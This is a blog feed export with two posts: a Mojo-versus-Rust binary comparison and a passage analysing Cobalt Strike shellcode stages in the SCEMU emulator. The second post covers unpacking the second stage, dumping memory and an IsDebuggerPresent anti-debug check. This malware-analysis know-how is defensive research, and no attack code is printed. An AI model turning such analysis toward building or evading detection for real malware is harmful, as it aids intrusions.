tag:blogger.com,1999:blog-342868022024-02-28T11:13:35.583+01:00software security blogIn this blog I post my current investigations about virii, cracking, hacking and reversing.Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.comBlogger70125tag:blogger.com,1999:blog-34286802.post-63972524343859654692024-01-10T10:01:00.004+01:002024-01-10T10:19:58.032+01:00mojo vs rust, basic test and binary perspective.<p>Hello, In first place I'm not going to do an algorithmic benchmark, just a simple loop + print test and some checks on the generated binaries.</p><p>The system is a Debian12 Linux and the architecture is: x86 64bits.</p><p><br /></p><p><br /></p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEilpXlcFWSgEjFFMhLBkHgcIZ1rDoivScBi4LORp-XsFrlsRSt_MPA7zmnCvVcObw7Vql0uty7Evv3HBL7ok2bW9id7SksGV_9WQY5IKbwleDmziCUAfSS9l2ukEkRifa3uKvXuS_qJKZLVNKacBdCnT5TVOYN9QmqqIg_NMxkfN2wNc_dH9ptV" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="127" data-original-width="329" height="124" src="https://blogger.googleusercontent.com/img/a/AVvXsEilpXlcFWSgEjFFMhLBkHgcIZ1rDoivScBi4LORp-XsFrlsRSt_MPA7zmnCvVcObw7Vql0uty7Evv3HBL7ok2bW9id7SksGV_9WQY5IKbwleDmziCUAfSS9l2ukEkRifa3uKvXuS_qJKZLVNKacBdCnT5TVOYN9QmqqIg_NMxkfN2wNc_dH9ptV" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;">Rust</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEiMCPnhnwILxRWiltOUqlIaihTV01hcXb3z4vRjhJwx3xnOlpUW641YVrOge6S40ZWzteqJQ750ODU7vtI2C0jGb2I1v8PIR254OFHBYJurL3PRnQindQJqzQlw0jqQY85oIZhVcTKRCoY4loKr05qaW2RvJyu_8EIRne0ih9kcHrWhHtGJ9JMD" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="93" data-original-width="288" height="103" src="https://blogger.googleusercontent.com/img/a/AVvXsEiMCPnhnwILxRWiltOUqlIaihTV01hcXb3z4vRjhJwx3xnOlpUW641YVrOge6S40ZWzteqJQ750ODU7vtI2C0jGb2I1v8PIR254OFHBYJurL3PRnQindQJqzQlw0jqQY85oIZhVcTKRCoY4loKr05qaW2RvJyu_8EIRne0ih9kcHrWhHtGJ9JMD" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;">Mojo</div><br /><br /><p></p><p>Mojo don't allow .py extension it has to be .mojo so no default nvim highlighting ...</p><p><br /></p><p>$ mojo build mojo_benchmark.mojo</p><p>$ time ./mojo_benchmark</p><p>...</p><p>real<span style="white-space: pre;"> </span>0m0.342s</p><p>user<span style="white-space: pre;"> </span>0m0.080s</p><p>sys<span style="white-space: pre;"> </span>0m0.252s</p><div><br /></div><div><br /></div><p>$ rustc rust_benchmark.rs</p><p>$ time ./rust_benchmark</p><p>...</p><p>real<span style="white-space: pre;"> </span>0m0.107s</p><p>user<span style="white-space: pre;"> </span>0m0.012s</p><p>sys<span style="white-space: pre;"> </span>0m0.049s</p><p><br /></p><p>I noticed a speed increase using fish shell instead of bash but could be the environment variable stack overload.</p><p><br /></p><p>So in this specific test rust is much faster. And also the compiler suggests using _ instead i, that mojo compiler doesn't.</p><p>The rust binary is bigger, but is because the allocator is embedded:</p><p>-rwxr-xr-x 1 sha0 sha0 1063352 Jan 10 08:55 mojo_benchmark</p><p>-rwxr-xr-x 1 sha0 sha0 4632872 Jan 10 08:57 rust_benchmark</p><p><br /></p><p>But Look this, mojo uses libstdc++ and libc and rust only uses libc.</p><p>$ ldd -d mojo_benchmark</p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>linux-vdso.so.1 (0x00007ffd94917000)</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>libtinfo.so.6 => /lib/x86_64-linux-gnu/libtinfo.so.6 (0x00007fe899cb1000)</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>libstdc++.so.6 => /lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007fe899a00000)</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007fe899921000)</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007fe899c91000)</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe899740000)</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>/lib64/ld-linux-x86-64.so.2 (0x00007fe899d2c000)</span></p><div><br /></div><p>$ ldd -d rust_benchmark</p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>linux-vdso.so.1 (0x00007ffde67b7000)</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007f8b3881b000)</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8b3863a000)</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>/lib64/ld-linux-x86-64.so.2 (0x00007f8b388ae000)</span></p><div><br /></div><div><br /></div><div>Lets check the binary.</div><div>All the python non used built-ins are written to the binary, so does rust in this case.</div><div><br /></div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEgGIwOMNcWf55QyCohaVTS-BEi9QT1LcLXhPREcfsyEb2d27ZsSif7nynsultf7X4kNCZHuHwfOq2nfNIi1uCOnEf_u_V_cSUy9I3uzXTUsZkeHya41dPyCFu24rH69kP6FhIl4g20tHOaGpdULytCD4MD_WG9Pb2BByt08N6m_GHmyeVoslPpp" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="431" data-original-width="381" height="240" src="https://blogger.googleusercontent.com/img/a/AVvXsEgGIwOMNcWf55QyCohaVTS-BEi9QT1LcLXhPREcfsyEb2d27ZsSif7nynsultf7X4kNCZHuHwfOq2nfNIi1uCOnEf_u_V_cSUy9I3uzXTUsZkeHya41dPyCFu24rH69kP6FhIl4g20tHOaGpdULytCD4MD_WG9Pb2BByt08N6m_GHmyeVoslPpp" width="212" /></a></div><div class="separator" style="clear: both; text-align: center;">mojo</div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEj7JoW9OozhczLaPM6ztvcOJOYLigRg0AH56yBQtf3B5U-RDRY2AF-z7r61_Nfx8HWZ9pSUF7_uj6fAlRISYbBMIpcXVeNNJTXrZ8o82FBhHvAqHLqrqqXLGCQXUlFSTTo6zbdDusMnPcSh7m1CFVrYpy4Fd215zExk7cmeWS8vI_jsSZwBbE1w" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="431" data-original-width="381" height="240" src="https://blogger.googleusercontent.com/img/a/AVvXsEj7JoW9OozhczLaPM6ztvcOJOYLigRg0AH56yBQtf3B5U-RDRY2AF-z7r61_Nfx8HWZ9pSUF7_uj6fAlRISYbBMIpcXVeNNJTXrZ8o82FBhHvAqHLqrqqXLGCQXUlFSTTo6zbdDusMnPcSh7m1CFVrYpy4Fd215zExk7cmeWS8vI_jsSZwBbE1w" width="212" /></a></div><div class="separator" style="clear: both; text-align: center;">rust</div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">Steps until libc write:</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><div class="separator" style="clear: both; text-align: center;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjlIFR_nXK1mwdyUe5tffdl5VY--Z_GUaS5nnmZNvjqn0xCmIGvvZfQZ66PWy9dSEB68f7WEh_6vLajm0_NBi4LIpA5iueGtr2sTvg5sCjgIf15DtmavbzxA87JsDabNDN7zBen-Q6g-oXjfYVpzNkOHYPzcyoQ8ElJzjSSkm_VoXdHnurBD7Rk" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="276" data-original-width="920" height="192" src="https://blogger.googleusercontent.com/img/a/AVvXsEjlIFR_nXK1mwdyUe5tffdl5VY--Z_GUaS5nnmZNvjqn0xCmIGvvZfQZ66PWy9dSEB68f7WEh_6vLajm0_NBi4LIpA5iueGtr2sTvg5sCjgIf15DtmavbzxA87JsDabNDN7zBen-Q6g-oXjfYVpzNkOHYPzcyoQ8ElJzjSSkm_VoXdHnurBD7Rk=w641-h192" width="641" /></a></div></div><div class="separator" style="clear: both; text-align: center;">Mojo</div><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjGZnZUJCmwVB0j3TA1JvsFcScw0-gFZIOEKJcvR0fvcePTd7tiExPIGdKtXGdyBgDlz_9DFZfVhV5O7LQeWyEXpL7_DhkRA5YRqzQrtLLQXtmEX6Wl__DHlXWyDK5JJ5TAZW_vpwCqr4kfKY8DcNO6p518GexfgYhXwd2u4M6GXzSbISqieRRJ" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="975" data-original-width="952" height="671" src="https://blogger.googleusercontent.com/img/a/AVvXsEjGZnZUJCmwVB0j3TA1JvsFcScw0-gFZIOEKJcvR0fvcePTd7tiExPIGdKtXGdyBgDlz_9DFZfVhV5O7LQeWyEXpL7_DhkRA5YRqzQrtLLQXtmEX6Wl__DHlXWyDK5JJ5TAZW_vpwCqr4kfKY8DcNO6p518GexfgYhXwd2u4M6GXzSbISqieRRJ=w655-h671" width="655" /></a></div><div class="separator" style="clear: both; text-align: center;">Rust</div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">Ok wait, rustc like cargo by default is on debug-mode which is the slower version, the way to do cargo --release which is much faster is rustc -O rust_benchmark.rs</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><div class="separator" style="clear: both;">real<span style="white-space: pre;"> </span>0m0.107s</div><div class="separator" style="clear: both;"><div class="separator" style="clear: both;">user<span style="white-space: pre;"> </span>0m0.005s</div><div class="separator" style="clear: both;">sys<span style="white-space: pre;"> </span>0m0.056s</div><div><br /></div></div><div><br /></div><div>This simple program don't make profit of the optimizations.</div><div><br /></div></div><br /></div><div class="separator" style="clear: both; text-align: center;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjV50Q5ImQDJuzWllYcrwEwX_Lje1FIuqkElY6BKp-gahA7GkoKJMzSH4yfAH3Zv-Rb4XXzcfJUj31X2QJLdGX5B2XPWU0UwyP3kG5FmwqnBgQ3jFaKzl9-APIJhJqdImohXtC1YkvFIIPtACpDGJy_cx87OFdC7Hb6JpFe4XieQf0wED-fTprx" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="906" data-original-width="950" height="590" src="https://blogger.googleusercontent.com/img/a/AVvXsEjV50Q5ImQDJuzWllYcrwEwX_Lje1FIuqkElY6BKp-gahA7GkoKJMzSH4yfAH3Zv-Rb4XXzcfJUj31X2QJLdGX5B2XPWU0UwyP3kG5FmwqnBgQ3jFaKzl9-APIJhJqdImohXtC1YkvFIIPtACpDGJy_cx87OFdC7Hb6JpFe4XieQf0wED-fTprx=w618-h590" width="618" /></a></div><div class="separator" style="clear: both; text-align: center;">Rust</div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">We reduced from 30 calls to 27.</div><div class="separator" style="clear: both; text-align: left;">I'm not going to criticize the number of calls because rust does his magic and result faster.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Mojo only 7 calls but runtime seems slower.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Regarding memory operations, seems that is rust like compiler-time borrow checked.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">https://docs.modular.com/mojo/programming-manual.html#behavior-of-destructors</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjUS1rr3eY2UOeiMkZOr_OzAElRb5l-q9UXHy5hs3xOlZejt6WJSG0q-DJCbvIIj-bvTsID6Edc8r9-QQbq-nvYb-dmRxvkGZ6adOa_hO_qa_m7md8K8offaE17pyZyt1jzQel9L13aOux5iqYucrAA1s_IanMG0XaPZSrPMlDKv78fDe6Yl3MY" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="261" data-original-width="459" height="292" src="https://blogger.googleusercontent.com/img/a/AVvXsEjUS1rr3eY2UOeiMkZOr_OzAElRb5l-q9UXHy5hs3xOlZejt6WJSG0q-DJCbvIIj-bvTsID6Edc8r9-QQbq-nvYb-dmRxvkGZ6adOa_hO_qa_m7md8K8offaE17pyZyt1jzQel9L13aOux5iqYucrAA1s_IanMG0XaPZSrPMlDKv78fDe6Yl3MY=w515-h292" width="515" /></a></div><div class="separator" style="clear: both; text-align: center;">Rust decompiled</div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjYUrTK99ofrun-oYTwv30aFVyfGd-CcAJZwQwFIjLv123PfY6M9f2Sxg4vDO8ayd4T3lsr9eHPsB_qM8i8L5gXO1PgdyUnO3oNkQXcmc3_j7gMH0vrTonKq_C6iNOA8IXVlXcLeKHqYLbpadM8tWonL1QaFsoc3VnqFe8Zgo5KxXxiPVmZ0iR3" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="671" data-original-width="999" height="429" src="https://blogger.googleusercontent.com/img/a/AVvXsEjYUrTK99ofrun-oYTwv30aFVyfGd-CcAJZwQwFIjLv123PfY6M9f2Sxg4vDO8ayd4T3lsr9eHPsB_qM8i8L5gXO1PgdyUnO3oNkQXcmc3_j7gMH0vrTonKq_C6iNOA8IXVlXcLeKHqYLbpadM8tWonL1QaFsoc3VnqFe8Zgo5KxXxiPVmZ0iR3=w639-h429" width="639" /></a></div><div class="separator" style="clear: both; text-align: center;">Rust disassembled</div><br /><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><br /><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEgpeq0rfhjh062731DuDOIkH49fBRIDh2IvFJQpcf_40xet9VdDzLPxK_8JTelOYGfjbQs8vQX9taEHtkZa_EH52mt2aFqNqHgig9L91drXHFN9TNi9YZ2Q2jHl8o3izDs65Pxr7_UuMG0kuN2PavEGYQMH4_T2HMFaLngzTcJCHNhRMyCVwwkH" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="374" data-original-width="848" height="257" src="https://blogger.googleusercontent.com/img/a/AVvXsEgpeq0rfhjh062731DuDOIkH49fBRIDh2IvFJQpcf_40xet9VdDzLPxK_8JTelOYGfjbQs8vQX9taEHtkZa_EH52mt2aFqNqHgig9L91drXHFN9TNi9YZ2Q2jHl8o3izDs65Pxr7_UuMG0kuN2PavEGYQMH4_T2HMFaLngzTcJCHNhRMyCVwwkH=w583-h257" width="583" /></a></div><div class="separator" style="clear: both; text-align: center;">Mojo decompiled</div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEi4I49yRl6-pou33tMqRftg84AEu3iNe5IXhuhbEc1T9z_NKCkt6DbLDhj82ylg2Ei1DMPspWulDftmHw47EQdQEs8dDz32n9hm3jA20y3CJJJYmHgesQ6GYbV_7HMvRqGz_fc6OLJExScpEHFpaozpYsRIwAD-XEnOKeYsjvgxEZbXLup3TSIx" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="671" data-original-width="847" height="467" src="https://blogger.googleusercontent.com/img/a/AVvXsEi4I49yRl6-pou33tMqRftg84AEu3iNe5IXhuhbEc1T9z_NKCkt6DbLDhj82ylg2Ei1DMPspWulDftmHw47EQdQEs8dDz32n9hm3jA20y3CJJJYmHgesQ6GYbV_7HMvRqGz_fc6OLJExScpEHFpaozpYsRIwAD-XEnOKeYsjvgxEZbXLup3TSIx=w590-h467" width="590" /></a></div><div class="separator" style="clear: both; text-align: center;">Mojo disassembled</div><br /><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">So we have two things: the crafted assembly speed, and specially the runtime speed.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Looking the Rust assembly, it's writing the string pointer to stack on every iteration which is same pointer in every iteration.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">However Mojo loop is more optimized, param and address to call are pre-calculated before the loop.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">So Mojo is generating optimized code, but its c++ API seems slower, at least the print() </div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Regards.</div><div class="separator" style="clear: both; text-align: center;"><div class="separator" style="clear: both; text-align: center;"><br /></div><br /><br /></div><br /><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><br /><br /></div><br /><br /></div><p><br /></p><div><br /></div><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p>Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com0tag:blogger.com,1999:blog-34286802.post-19000227562880968832021-12-20T16:59:00.002+01:002021-12-20T16:59:14.107+01:00emulating shellcodes - chapter 2<p> Lets check different Cobalt Strike shellcodes and stages in the shellcodes emulator SCEMU.</p><p><br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEgiueAZWZQ_dmlGrlWt7Q-7uvO5LD-l2ntyKIfVLXfO31zpM2PPUHswCC08N1A9pqCxBWD2WwNPMd9LjFRsx6ztG3BhiTItKZ7RMdFodew27bHApcJhjOjQbbzrJHlNTdLJRvkY169q1bls1N-cFcnmzeUvSpQ69syif9tFBAv-o14U88KT1w=s962" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="511" data-original-width="962" height="310" src="https://blogger.googleusercontent.com/img/a/AVvXsEgiueAZWZQ_dmlGrlWt7Q-7uvO5LD-l2ntyKIfVLXfO31zpM2PPUHswCC08N1A9pqCxBWD2WwNPMd9LjFRsx6ztG3BhiTItKZ7RMdFodew27bHApcJhjOjQbbzrJHlNTdLJRvkY169q1bls1N-cFcnmzeUvSpQ69syif9tFBAv-o14U88KT1w=w583-h310" width="583" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEgEWFdwl_w438C80XYYVPmMY2itJ7hI2cq-fpo7zIQYNEVAPaiVq-Nrn13plP6Tpj_Pe8zB3AbiZjP1P5dYdHum7Z_zEJAi22uMqji9ZpU4AG5tT0fPYftJ_dhRDmorO_OBd8b9YhO0VgY0szNauZftG9HxKuMjULw_KBVPRZHMu2UVHuxlCg=s777" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="334" data-original-width="777" height="253" src="https://blogger.googleusercontent.com/img/a/AVvXsEgEWFdwl_w438C80XYYVPmMY2itJ7hI2cq-fpo7zIQYNEVAPaiVq-Nrn13plP6Tpj_Pe8zB3AbiZjP1P5dYdHum7Z_zEJAi22uMqji9ZpU4AG5tT0fPYftJ_dhRDmorO_OBd8b9YhO0VgY0szNauZftG9HxKuMjULw_KBVPRZHMu2UVHuxlCg=w587-h253" width="587" /></a></div><br /><p>This stages are fully emulated well and can get the IOC and the behavior of the shellcode.</p><p>But lets see another first stage big shellcode with c runtime embedded in a second stage.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEilEpfjtPmCsdUkqC6dKAmhcS-lHdNCvagYzAUNBy9wA8BQ3cIe_7BTCXqLaYJW6pzwSprDJabiKJQk_S2k8JQbbgdaLAQNFoOqfUxVeZ4Y3CHiD-2vSTC92wImn5Ktc74Ps2Y8ioczCm1OdEMBn3tvPVjfaKvHHjlPjvf4lZCIOKA1EaBcxA=s905" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="785" data-original-width="905" height="563" src="https://blogger.googleusercontent.com/img/a/AVvXsEilEpfjtPmCsdUkqC6dKAmhcS-lHdNCvagYzAUNBy9wA8BQ3cIe_7BTCXqLaYJW6pzwSprDJabiKJQk_S2k8JQbbgdaLAQNFoOqfUxVeZ4Y3CHiD-2vSTC92wImn5Ktc74Ps2Y8ioczCm1OdEMBn3tvPVjfaKvHHjlPjvf4lZCIOKA1EaBcxA=w646-h563" width="646" /></a></div><br /><p>In this case is loading tons of API using GetProcAddress at the beginning, then some encode/decode pointer and tls get/set values to store an address. And ends up crashing because is jumping an address that seems more code than address 0x9090f1eb.</p><p>Here there are two types of allocations:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjWSctYDaVCfeZJfoym-Dt2yNGQhpvqWwDAhXnBMbRzEmDR9b0UgTdcUo8G5gdIz_WEEUQr8sPbPu-cE_9lHnXIJ1MpWxywAuQgipjaI869h8dCUn2B3ZT5ovg-rf5ts1eenX5ZyvIFQxH90vDBaOuALUJ9600dtik0jYEdsdtEONsxaoQczA=s878" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="345" data-original-width="878" height="242" src="https://blogger.googleusercontent.com/img/a/AVvXsEjWSctYDaVCfeZJfoym-Dt2yNGQhpvqWwDAhXnBMbRzEmDR9b0UgTdcUo8G5gdIz_WEEUQr8sPbPu-cE_9lHnXIJ1MpWxywAuQgipjaI869h8dCUn2B3ZT5ovg-rf5ts1eenX5ZyvIFQxH90vDBaOuALUJ9600dtik0jYEdsdtEONsxaoQczA=w614-h242" width="614" /></a></div><br /><p>Lets spawn a console on -c 3307548 and see if some of this allocations has the next stage.</p><p>The "m" command show all the memory maps but the "ma" show only the allocations done by the shellcode.</p><p><br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEhm0pUZarJbC0LMhxxpkwjhP27BpGK7SLD3utBFsnbGPMpLmXj3z_2-btN_VbLrAcPnXSYy9DnlueVtNO4-tKpnVhBgpqxNG8CNfN38WCKTV8dQfWPnVb1ivl9MgGTGywIxUL7yitl6Wn53Rna7M1mKOOt-nZ1Xj-Bz1plj3kOMMjSIulhGOg=s683" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="568" data-original-width="683" height="492" src="https://blogger.googleusercontent.com/img/a/AVvXsEhm0pUZarJbC0LMhxxpkwjhP27BpGK7SLD3utBFsnbGPMpLmXj3z_2-btN_VbLrAcPnXSYy9DnlueVtNO4-tKpnVhBgpqxNG8CNfN38WCKTV8dQfWPnVb1ivl9MgGTGywIxUL7yitl6Wn53Rna7M1mKOOt-nZ1Xj-Bz1plj3kOMMjSIulhGOg=w592-h492" width="592" /></a></div><br /><p>Dumping memory with "md" we see that there is data, and dissasembling this address with "d" we see the prolog of a function.</p><p>So we have second stage unpacked in alloc_e40064</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEh1EdpcmfV6v1Of8LvexpbKU_4T2Cq3u6U4Fy_sWZDkp0nu8Ai2e2DlLm_1XywG2STUkHYPSIfBX9PVdSJwqegsmofgYJU7h8WhaG42oovGLJaihxcEySaNMOFjkt1MSzHT8y3jB6QSllFMdtd4r65PhnkSAUvriD0MkmWcpqVPHaa0TYCEEg=s205" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="129" data-original-width="205" height="228" src="https://blogger.googleusercontent.com/img/a/AVvXsEh1EdpcmfV6v1Of8LvexpbKU_4T2Cq3u6U4Fy_sWZDkp0nu8Ai2e2DlLm_1XywG2STUkHYPSIfBX9PVdSJwqegsmofgYJU7h8WhaG42oovGLJaihxcEySaNMOFjkt1MSzHT8y3jB6QSllFMdtd4r65PhnkSAUvriD0MkmWcpqVPHaa0TYCEEg=w363-h228" width="363" /></a></div><br /><p>With "mdd" we do a memory dump to disk we found the size in previous screenshot, and we can do some static reversing of stage2 in radare/ghidra/ida</p><p>In radare we can verify that the extracted is the next stage:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEh1c9leiy02EVSikVGaahwoFywI3FXmsNHu7odCkgZOdqbatcq1B8XqmVw-rrzDY0o16m-AZbyJU7jm8Bi8g7Xix481ImvQoX2nxHRjOVp1Qq79pCUaIZk4BO87HUxo9IgVkAqraTLXS0ts_oqQh3b_JHN73LuyKBNSDf8hFkjchVgd8bVtRA=s845" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="478" data-original-width="845" height="345" src="https://blogger.googleusercontent.com/img/a/AVvXsEh1c9leiy02EVSikVGaahwoFywI3FXmsNHu7odCkgZOdqbatcq1B8XqmVw-rrzDY0o16m-AZbyJU7jm8Bi8g7Xix481ImvQoX2nxHRjOVp1Qq79pCUaIZk4BO87HUxo9IgVkAqraTLXS0ts_oqQh3b_JHN73LuyKBNSDf8hFkjchVgd8bVtRA=w610-h345" width="610" /></a></div><br /><p>I usually do correlation between the emulation and ghidra, to understand the algorithms.</p><p>If wee look further we can realize that the emulator called a function on the stage2, we can see the change of code base address and is calling the allocated buffer in 0x4f...</p><p><br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEif2hdrFKVa9JsLM1tmsq4iGWy5-JOhnMv2OykDB48n_Oans1RRPTYaGGvg_mkKFp4iqf0FhyKi0NBD5PO2DPSCOHQmwLvN2XejIk84YydO3E3byBh6HwsOIlQEoKmJxtbynxrj15KjmKf4B2gI30aSPUqN4Nf6VEt3FVqWIDrIGDDquQb4lQ=s787" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="787" data-original-width="487" height="798" src="https://blogger.googleusercontent.com/img/a/AVvXsEif2hdrFKVa9JsLM1tmsq4iGWy5-JOhnMv2OykDB48n_Oans1RRPTYaGGvg_mkKFp4iqf0FhyKi0NBD5PO2DPSCOHQmwLvN2XejIk84YydO3E3byBh6HwsOIlQEoKmJxtbynxrj15KjmKf4B2gI30aSPUqN4Nf6VEt3FVqWIDrIGDDquQb4lQ=w494-h798" width="494" /></a></div><br /><p>And this stage2 perform several API calls let's check it in ghidra.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEg4AbVX340vqhVDK4YkGxplQkn98Qye0feBw6fJLpK3_JzJnM23Ys8FCEjNRf1zlwPS4GtWCp2BTimtU8XOUTrVSax3SQOw0-TyH-LqxbWRW66thr3Pj3LFuwHWdCyeIG7l40E2LXbU9mZZ0NtX-lfMtmJ8Dv8TK0tq6h4zxB67mQlGs43GCw=s573" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="573" data-original-width="539" height="538" src="https://blogger.googleusercontent.com/img/a/AVvXsEg4AbVX340vqhVDK4YkGxplQkn98Qye0feBw6fJLpK3_JzJnM23Ys8FCEjNRf1zlwPS4GtWCp2BTimtU8XOUTrVSax3SQOw0-TyH-LqxbWRW66thr3Pj3LFuwHWdCyeIG7l40E2LXbU9mZZ0NtX-lfMtmJ8Dv8TK0tq6h4zxB67mQlGs43GCw=w506-h538" width="506" /></a></div><br /><p>We can see in the emulator that enters in the IF block, and what are the (*DAT_...)() calls</p><p>Before a crash lets continue to the SEH pointer, in this case is the way, and the exception routine checks IsDebuggerPresent() which is not any debugger pressent for sure, so eax = 0;</p><p><br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEgP4XmQKm5ePq6zQUzyWAYrKL9Esxw-UshgCIQ2iokAiViORRteh7KHolWQHFqYWXRWTcoThudflj6erFtG_57eXMRILJBo9JzMNLvmPJNzfwo79xDksUyLaDZeOKYw-yscP6VxErW3qyE6wAH0ERwD43le3yESwI1TmZLZZLngPsG-m7JapA=s493" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="133" data-original-width="493" height="141" 